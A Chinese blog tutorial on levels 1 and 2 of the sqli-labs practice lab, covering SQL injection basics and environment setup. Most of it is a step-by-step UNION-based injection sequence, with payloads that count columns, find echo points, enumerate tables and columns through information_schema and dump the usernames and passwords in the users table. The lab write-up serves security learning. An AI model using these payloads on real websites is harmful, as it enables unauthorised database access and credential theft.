SQL注入之sqli-labs-master靶场第1、2关

一、SQL注入简介
        SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,实现欺骗数据库服务器执行非授权的任意查询,得到相应的数据信息。

二、SQL注入原理
        SQL注入攻击是修改SQL语句,达到执行代码对数据库进行攻击的方法。就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,使web服务器执行恶意命令的过程。

三、环境准备

        1、安装小皮phpstudy_pro

        2、安装sqli-labs-master

        3、运行小皮的MySQL数据库服务(MySQL5.0以上版本,该版本含有information_schema数据库,库中有三个重要的表:1)schemata存储数据库信息; 2)tables存储表信息; 3)columns存储字段信息)

        准备完成后,打开sqli-labs-master页面第2关(第1关与第2关类似,第1关为注入类型为字符型,第2关为整型):

三、SQL注入过程

 1、判断注入类型。修改URL参数,在后面添加?id=1,查看回显正常,说明为整型。 2、判断注入点。任意输入id,确认是否存在注入点(返回错误存在,无返回值则不存在)

3、确认存在注入点,猜解列名数量:  index.php?id=1 order by 1(填4报错,说明只有3列)

       index.php?id=1 order by

4、 使用数据库联合查询命令(union),查看回显点:index.php?id=1 union select 1,2,3(如下:2,3字段有返回信息)

index.php?id=1 union select 1,2,3

5、利用回显点进行信息收集。使用数据库联合查询命令(union),查看数据库版本及数据库名:

index.php?id=-1 union select 1,version(),database()

 6、使用对应SQL注入命令

(1)根据数据库名,获取表名:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'(库名)

(2)依据表名,查看字段信息

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'(表名)

 (3)根据字段信息,获取账号密码

union select 1,group_concat(username),group_concat(password) from users

(4)真实数据库表字段内容如下:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值